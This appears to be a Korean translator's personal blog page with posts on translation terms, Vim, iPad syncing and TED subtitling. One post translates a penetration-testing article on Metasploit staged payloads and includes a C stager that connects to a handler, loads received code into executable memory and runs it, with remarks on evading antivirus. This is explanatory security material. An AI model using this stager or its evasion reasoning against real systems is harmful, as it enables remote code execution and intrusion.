레이블이 번역인 게시물을 표시합니다. 모든 게시물 표시
레이블이 번역인 게시물을 표시합니다. 모든 게시물 표시

2020년 6월 7일 일요일

commit의 뜻

전산쟁이인지라, 평소에 'commit'이라는 단어를 접하면 SQL 질의의 commit과 rollback이 먼저 떠오르고, 이런 쓰임새일 때 한글로는 '커밋'으로 옮긴다.

이번에 프리젠테이션 자료를 만들면서 가트너(Gartner) 자료를 인용했는데, 'I&O Maturity'라는 용어가 나왔다. 'I&O(인프라 및 운영) 성숙도'라고 옮기고 넘어갔는데, 며칠 후 문득 I&O 성숙도의 높고 낮음을 어떻게 판단하는지 궁금해졌다.

그래서 자료를 찾아 읽으면서 I&O 성숙도에 대해 이 글에 따로 정리했다. I&O 성숙도는 0부터 5까지 6단계로 나타낸다. 중간쯤 오는 Level 2는 'Committed'라는 단어로 나타내는데, 이걸 우리말로 어떻게 옮겨야 할지 애매했다. 영한 사전에는 '헌신적인', '열성적인'으로 나와있는데, 맥락에 딱 들어맞지 않는다. 영영사전의 해설을 보니 느낌이 약간 다르다.

1. placed in confinement
2. having made a pledge or commitment to someone (such as a romantic partner) or something (such as a cause)

좀 더 검색해보니 맥락에 따라 여러 가지로 옮길 수 있다.


I&O Maturity Level 2의 'Committed'는 '수용' 정도로 옮기는 것이 적당해 보인다.

2020년 4월 26일 일요일

스테이지된 페이로드

원문: https://blog.cobaltstrike.com/2013/06/28/staged-payloads-what-pen-testers-should-know/

스테이지된 페이로드(Staged Payloads) - 침투 테스터가 알아야 할 것

메타스플로잇 프레임워크는 익스플로잇과 페이로드(익스플로잇 성공 후 실행되는 것)를 디커플링한다. 또한 메타스플로잇 프레임워크는 스테이저(stager)와 스테이지(stage)의 두 부분으로 나뉜다. 스테이저는 큰 페이로드(스테이지)를 다운로드하고, 그것을 메모리에 주입하고, 실행을 전달한다.

그림. 페이로드 스테이징 과정

스테이징은 필요에 의해 생겨났다. 많은 익스플로잇 상황은 공격자가 얼마나 많은 바이트를 변경 없이 메모리의 한 위치에 로딩할 수 있는지에 제약을 받는다. 이러한 상황에서 흥미로운 포스트 익스플로잇을 하는 한 가지 방법은 페이로드를 여러 단계(스테이지)에 걸쳐 전달하는 것이다.

스테이저는 어셈블리 언어로 작성되어 수작업으로 최적화되는 것이 일반적이다. 공격자는 스테이저를 가능한 한 작게 만들려고 한다. 스테이저가 작으면 공격자는 많은 익스플로잇에 자유롭게 사용할 수 있다.

다음 코드는 C로 작성된 스테이저다. 버퍼를 할당하고, 스테이지를 다운로드하고, 그것에 제어를 전달한다. 나는 이 과정을 블로그에 설명했고, 전체 프로그램은 깃허브에 있다.

/* 핸들러에 연결 */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
 
/* 4 바이트를 읽음 */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
    punt(my_socket, "read a strange or incomplete length value\n");

/* RWX 버퍼를 할당 */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
    punt(my_socket, "could not allocate buffer\n");


/* SOCKET 값을 EDI 레지스터에 옮기기 위해 어셈블리를 prepend
   BF 78 56 34 12     =>      mov edi, 0x12345678 */
buffer[0] = 0xBF;
 
/* 소켓의 값을 버퍼에 복사 */
memcpy(buffer + 1, &my_socket, 4);
 
/* 바이트를 버퍼에 읽음 */
count = recv_all(my_socket, buffer + 5, size);
 
/* 버퍼를 함수로 변환해 호출 */
function = (void (*)())buffer;
function();

스테이징은 몇 개의 스테이저를 가지고 다양한 페이로드를 전달할 수 있게 해준다. 내가 스테이저와 호환되는 코드를 갖고 있으면, 나는 스테이저가 지원하는 코드를 전달할 수 있다(크기가 관건이다). 이러한 유연성 덕분에 비콘(Beacon) 같은 페이로드를 메타스플로잇 프레임워크에 맞춰 수정하지 않아도 된다.

스테이저에 의존하면 안티 바이러스 회피도 쉬워진다. 윈도우 미터프리터는 700KB이고 코발트 스트라이크(Cobalt Strike)의 비콘은 120KB다. 크기에 대한 제약이 없다고 가정할 때, 만약 내가 원하는 페이로드 그대로를 전달하기 위해 공격 패키지를 만들면 안티 바이러스 공급자에게 더 많은 단서를 제공해 그들이 시그니처를 작성할 수 있게 된다. 스테이저를 사용해 페이로드를 전달하면 나는 스테이저에 집중할 수 있고 공격 패키지는 안티 바이러스에 잡히지 않을 것이다. 스테이저가 잡히지 않는다면 스테이지도 아마 안전할 것이다.

이론적으로 스테이지 코드는 크기와 위치에 독립적이다. 현실에서는 메타스플로잇 프레임워크와 함께 사용되는 스테이지는 C로 작성된 DLL이다. 이 DLL들은 스테픈 퓨어(Stephen Fewer)가 작성한 반사 DLL 주입 라이브러리(Reflective DLL Injection library)를 가지고 컴파일된다. 이 라이브러리는 메모리로부터 프로세스에 라이브러리를 로드할 수 있다. 동작 원리에 대해서는 스테픈 퓨어가 쓴 반사 DLL 주입 문서(Reflective DLL Injection paper)를 참조하라.

(후략)

2020년 4월 25일 토요일

iPad 1세대 파일 동기화

2010년에 출시된 아이패드 1세대를 아직도 쓰고 있다. 유튜브도 안 되고, 어지간한 웹 사이트나 심지어 앱 스토어를 보는 중에도 다운되기 일쑤다. 팟캐스트는 약간 불편하긴 해도 PC에서 에피소드를 먼저 다운로드한 다음 아이튠즈를 통해 동기화하면 들을 수 있다.

실용적으로 가장 잘 사용하고 있는 앱은 굿리더(GoodReader)다. 유료로 구입한 걸로 기억하는데, 버전 업그레이드를 한 번인가 하고 나서는 iOS 버전 제한 때문에 더 이상 올리지 못했다. 번역 원고를 검토할 때 태블릿에서 보면 좀 더 독자의 입장을 느낄 수 있어서 좋다.

지금까지 PC에 있는 PDF 파일을 아이패드에 넣는 방법을 여러 가지로 시도했다.

1. 아이튠즈에서 동기화 - 수정할 때마다 동기화시키는 것이 번거롭다. 케이블을 꽂았다 뺐다 하기도 귀찮고(WiFi 동기화 기능은 꺼놨다).

2. 클라우드에서 동기화 - 아이패드의 iOS 버전이 낮아서인지 굿리더 버전이 낮아서인지 모르겠지만 제대로 동작하지 않는다.

3. PC에 FTP 서버를 띄우고 굿리더의 FTP 기능을 사용해 동기화 - 그나마 괜찮은 방법이긴 한데, 파일을 수정할 때마다 ftproot 디렉터리에 파일을 옮기는 것도 귀찮고(문서 전체를 FTP에 올리는 건 내키지 않는다), FTP 연결이 끊겨서 다시 시도해야 잘 된다. FTP 서버 설정을 바꿔봤지만 해결 못했다.

4. SMB 사용 - 굿리더가 SMB도 지원한다는 걸 여태 모르고 있다가 오늘에야 발견했다. 내 여건에는 이게 가장 나은 방법인 것 같다.

2020년 3월 22일 일요일

바라밀다 = pāramitā = parameter

유튜브에서 최진석의 철학/종교 강의를 종종 듣는데, 불교의 '바라밀다'라는 용어가 '건너간다'는 뜻의 산스크리트어를 음역한 것이라고 한다. 로마자로 표기하면 pāramitā다.


이걸 들으니 혹시 IT 용어로 자주 쓰이는 'parameter'와 관계가 있지 않을까 하는 생각이 들었다. 아니나 다를까, Jiyu Ren 등이 쓰고 Michael R. Saso가 번역한 Buddhist Studies in the People's Republic of China: 1990 - 1991를 보니 육바라밀(Sat-paramita)이 six parameters로 풀이되어 있다.


좀 더 확신을 갖고자 검색을 해봤지만 한글이 들어간 결과는 많지 않다. 다른 영상의 댓글에 내 생각을 뒷받침해줄 이야기가 보인다.


추가:
(parameter의) 어원이 라틴어일 것이라고 페북에 댓글 달아주신 분이 있어 좀 더 찾아봤다.

위키피디아 영문판에서 parameter를 찾아보니 고대 그리스어의 para-(beside)와 metron(measure)에서 왔다고 한다.

또, Pāramitā는 두 가지 어원이 있다고 한다.
1. '가장 높은'이라는 뜻의 parama로부터 '완벽함'의 뜻으로 발전
2. '너머'라는 뜻의 pāra와 '도착한 것'이라는 뜻의 mita가 합쳐져 '저 너머에 도착한 것' 또는 '초월'의 뜻을 갖게 됨

한편, 산스크리트어가 라틴어와 같은 인도유럽어족에 속한다는 것도 알게 됐다.



2018년 11월 5일 월요일

모니터 세로로 놓고 쓰기

문서 작업을 하다보면 모니터의 세로 해상도가 조금 더 높았으면 할 때가 있다. 그래서 좀 더 큰 모니터를 새로 살까 하는 고민도 여러 번 했지만, 오래된 물건을 어떻게든 계속 쓰는 것을 좋아하는 성격 때문에 그러지 못했다. 오늘 문득 전신이 나오는 인물 사진을 감상하다가 모니터를 옆으로 돌려서 쓰고 싶어져서 시도해 보았다.


17인치 모니터를 세로로 출력하고 최고 해상도인 1024 x 1280으로 지정했더니 결과가 아주 만족스럽다. PDF 파일을 축소하지 않고 100%로 볼 수 있다!


2018년 10월 2일 화요일

번역 일정 관리

블록체인 사이버 보안 책 번역을 마치고, 블록체인 시작 책을 바로 시작한다.

근래에는 분량이 적은 책들을 하느라 챕터별로 순차적으로 번역하지 않고 무작위로 조금씩 해서 완성해나가는 식으로 했다. 이 방식도 나름대로 괜찮은 점도 있지만, 일정 관리를 하기가 어렵다는 문제가 있다. 몇 % 정도 했는지 감이 안 잡히니 마감이 다가올수록 불안해서 좋지 않다. OmegaT를 쓰면 가능할 수도 있겠지만 어째 손이 안 가고...

이번 것은 챕터별로 나뉜 Word 파일을 받았다. 각 파일의 페이지 수를 세서 Excel 표에 써놓고 주어진 기한 내에 끝낼 수 있는 진도를 계산해보니, 주말 빼고 매일 5.5 페이지씩 하면 된다. 주말에는 스케이트 수업 때문에 번역할 시간이 적은 편이기도 하고, 일정이 늦어질 경우 따라잡을 수 있도록 비워두는 것이다.


일정은 iCloud 캘린더에 표시했다.



인도 성씨

근래 번역했거나 하고 있는 책들은 인도 사람들이 영어로 썼다. 저자 이름을 한글로 옮길 때 어떻게 표기해야 하는지 잘 몰라서 구글에서 찾아보다가 이 영상을 봤다. 인도에서 성씨를 물어보는 것은 실례라고.


2018년 9월 29일 토요일

preload

https://rsec.kr/?p=315

https://lesstif.gitbooks.io/web-service-hardening/content/ssl-tls-https.html

principal

For all these reasons, the foundational precept of DPKI is that identities belong to the entities they represent. That requires designing a decentralized infrastructure where every identity is controlled not by a trusted third-party, but by its principal owner.

Online communications are secured through the safe delivery of public keys. These keys correspond to identities. The entity these identities represent, called the principal, uses a corresponding secret private key to both decrypt messages sent to them, and to prove they sent a message (by signing it with the private key).

https://github.com/WebOfTrustInfo/rebooting-the-web-of-trust/blob/master/draft-documents/Decentralized-Public-Key-Infrastructure-CURRENT.md#the-security-of-online-communication

2018년 9월 28일 금요일

커피

취침과 기상 시간이 아주 규칙적이지는 않지만 될 수 있으면 일찍 자고 일찍 일어나려고 한다. 새벽이나 아침에 일어나면 커피 한 잔 내려 마시며 번역 일을 하다가 아침을 맞는다.

날이 밝으면 집안 일을 하고, 수업이 있으면 스케이트장으로 출근한다. 번역 일을 하거나 낮잠을 잘 때도 있다.


내 번역 업무만 놓고 봤을 때, 2018년은 블록체인의 해가 됐다. 다음 달에는 세 번째 블록체인 번역서를 시작한다.


작업 환경


딸과 방을 맞바꿔서, 원래 쓰던 책상이 다시 내 차지가 됐다.

스탠딩 데스크에서 일반적인 책상으로 돌아왔다. 요즘은 요통이 예전만큼 잦거나 심하지 않아서 굳이 서서 일할 필요가 없다.

스케이트 수강생의 학부모에게 선물받은 와인이 담겨있던 상자에 모니터를 올려두니 높이가 적당하고 안정감이 있다.


번역


요즘 번역하는 책은 블록체인을 사이버 보안에 어떻게 적용할 것인지를 주제로 한 것인데, 읽다보면 하이퍼레저가 좋구나 하는 생각이 들게 만든다.
얼른 마무리하고 다음 달에는 다른 책을 시작해야 한다. 세 번째 블록체인 역서다.
누가 보면 블록체인 전문가인줄 알겠네..

데드 드롭


이번 책에서는 블록체인 뿐 아니라 사이버 보안 관련 용어도 많이 배웠다. 봇넷 관련해서 dead drop이라는 용어가 나오는데, 그에 대한 아무 설명이나 언급도 없기에 호기심에 찾아보니 대략 이런 내용이다.








2016년 9월 25일 일요일

디레퍼런스

번역 중인 RPi 책에 C/C++을 소개하는 부분이 있다. 포인터에 대한 내용을 번역하다보니, 'dereference'라는 단어가 나왔다. 이 단어를 한국어로 뭐라고 해야할 지 딱히 생각이 나지 않아, 일단 원문의 단어를 포함한 한글 문장으로 옮겼다. 나중에 네이버 사전을 찾으니 '역참조'라고 나온다. Ctrl + H를 해서 'dereference'를 '역참조'라고 바꿨다. 역참조라...

아무래도 마음에 들지 않는다. 구글에서 '역참조'를 검색하니, 'dereference'와 'back reference'가 있다. 그렇다면 더욱 마음에 들지 않는다.

다시 구글에서 'dereference'를 검색. Wiktionary.org의 뜻풀이가 간단명료하다. '포인터가 가리키는 것에 접근하다'라는 뜻의 동사다.

그렇다면 대체 접미사 'de-'는 무슨 뜻이길래 '역'으로 번역되었는가? Wiktionary에서는 라틴어에서 온, 'of, from'의 뜻이라고 한다. 그러니까, 'from reference', '참조로부터 얻는다'는 말이다. '역'이라는 글자는 대체 어디에서 왔을까? 저 옛날, 일본 기술 서적을 한글로 옮기던 때에서부터 시작된 것일까? 어쨌든 다시 Ctrl + H, '역참조', '디레퍼런스'. 출판사에서 받은 번역 지침에 '영어 표현은 가급적 한글 표현으로 대체한다'는 항목이 있어, 나중에 어떻게 바뀔지는 모르겠다.

'역참조'를 검색하다가 걸린 'back reference'에 대한 글도 읽어보았다.

2016년 9월 24일 토요일

Vim

RPi 책 번역 원고를 워드로 작성하고 있기는 하지만, 최근 들어서는 Vim에서 한번 작성해서 워드에 붙여넣는 식으로 하게 되었다. 업무상 유닉스에서 터미널을 통해 vi를 종종 사용했기 때문에 vi에 익숙하고 좋아하지만, 터미널을 볼 일이 없을 때에는 별로 사용하지 않는 편이었다.

Vim을 다시 설치해서 사용하게 된 계기가 된 것은 번역 용어집(glossaries)이다. OmegaT에서는 텍스트 파일로 만들어지지만, 이번 작업에서는 굳이 그럴 필요가 없어, 정렬을 위해 엑셀을 써보기도 했다. 그런데, 오피스 구독이 종료되어 맥북에서는 엑셀 파일을 편집할 수 없게 된 것이다. 그래서 다시 텍스트 파일을 쓰게 되었는데, 일반적인 텍스트 편집기(notepad++) 등에서는 정렬이 아무래도 성가신 일이었다. vi/Vim에서는 /^ras와 같이 용어를 빨리 찾을 수 있고, :2,$sort i 명령을 한번 내리면 순식간에 정렬이 끝난다(첫 행은 빼고, 대소문자 구분 없이 정렬). 이제 엑셀보다도 훨씬 빠르고 편하다.

그러다가, 초벌 번역 작업에까지 그 쓰임을 넓힌 것이다. vim.org 사이트에서 Vim을 다운로드하여 윈도우에 설치하고, 맥북에도 MacVim을 설치했다. 맥에서는 원래 터미널에서 vim을 쓸 수 있지만, MacVim이 운영체제와 잘 통합되어 있어 좀 더 편하게 느껴진다.

Vim의 composability에 대한 글을 읽고 나니, 이제서야 그 사상을 이해할 수 있을 것 같다.

자질구레한 불편사항이 있지만, 당분간은 MacVim과 함께 많은 시간을 보내게 될 것 같다.


2015년 10월 24일 토요일

라즈베리 파이 공식 문서 번역

쓰다만 Linux 교과서의 원고를 어떻게 살려볼 방법이 없을까 궁리해보았지만, 채우거나 빼고 다듬어야 할 일이 너무 많아보이는데다가 시간도 흘러버려서 계속 버려두기로 했다. 그러던 중에 라즈베리 파이의 공식 문서를 아무도 번역하지 않는 것 같기에 한번 해볼까하는 생각이 들었다.

내게는 가장 편안한 플랫폼이 위키독스이다. 이번에는 Omega T를 사용하지 않고, Github에서 fork도 하지 않은 채로, 위키독스에만 의지하여 작업을 해볼까한다. 끝까지 갈 수 있을지는 미지수.

Raspberry Pi 문서

번역을 하면서 Raspberry Pi에 NOOBS라는 것이 새로 생긴 것을 알게 되었다.

2015년 5월 19일 화요일

인터넷

TED


오랜만에 TED 자막 번역작업을 하려다가, 실수로 영어 자막을 만드는 작업을 시작하게 되었다. 그런 어처구니 없는 실수를 한 것은, TED의 번역 시스템이 2012년에 Dotsub에서 Amara로 이전하던 즈음부터 손을 놓고 있었기 때문이기도 하다. 물론 실수로 시작했다거나 힘이 부칠 때에는 클릭 한번으로 포기할 수 있지만, 한번 도전해보고 싶어졌다. 영어를 한국어로 번역은 몇 번 해보았어도 영어 자막을 만든 것은 처음이다. 다른 언어로 번역할 때 영어 자막을 원문으로 삼기 때문에 정확성에 대한 부담이 있어서 시간이 오래 걸렸고(Revision이 30을 넘었다) 그만큼 많은 공부도 되었다. 제출한 후에 뒤늦게 구글 문서와 위키로 작성된 가이드를 읽어보니 몇 가지 실수가 있었던 것도 알게 되었다.

작업한 것은 아마추어 로켓 제작자 Peter Madsen의 TEDxKyiv 발표 영상으로, 인명과 전문 용어를 올바로 쓰기 위해 Copenhagen Suborbital 웹사이트와 유튜브 채널, 그리고 다음과 같은 위키피디아 페이지들을 참고했다.


알아듣기 어려운 부분 중 몇 군데는 유튜브에서 자동으로 생성한 자막의 도움을 받기도 했다.

Internet과 internet


발표 내용 중에 인터넷에 대한 언급이 있어, 그 표기를 Internet으로 할 지, internet으로 할 지 생각하다가 인터넷 검색을 통해 위키피디아의 관련 항목을 찾았다.

https://en.wikipedia.org/wiki/Capitalization_of_%22Internet%22

결론은 Internet이다. Internet은 internet이지만, 그 반대는 성립하지 않는다. 자세한 내용은 위의 링크를 참조.

"The Internet makes this possible"


발표자는 아마추어 로켓 제작자로서 우여곡절을 겪으며 작업을 진행해왔다. 작은 부품 하나에서부터, 제작에 필요한 정보, 함께 할 사람들을 찾는 데에까지 인터넷을 활용하였고, 인터넷이 없었다면 이루지 못했을 것이라고 했다.


온라인 프라이버시


작업을 마친 후에 여운이 남았는지, 일거리를 하나 더 물었다. 유럽 입자 물리 연구소에 근무하던 중에 이메일 암호화를 간편하게 이용할 수 있는 ProtonMail을 개발한 Andy Yen의 발표 영상에 대한 한글 자막을 검수했다.

Peter Madsen이 인터넷을 통해 꿈을 이루어가는 희망적인 모습을 보여주었다면, Andy Yen은 인터넷 기업들의 수익 추구로 인해 개인의 프라이버시가 침해되는 것에 대한 경각심을 일깨웠다.


자산


좋든 싫든, 인터넷은 인류의 삶을 크게 바꿔놓았고 앞으로도 많은 변화가 있을 것 같다. 소수가 권력과 이익을 독점하도록 휘둘리지 않고, 모든 사람과 환경을 위해 선용되도록 다같이 노력해야할 소중한 자산이라는 생각을 해본다.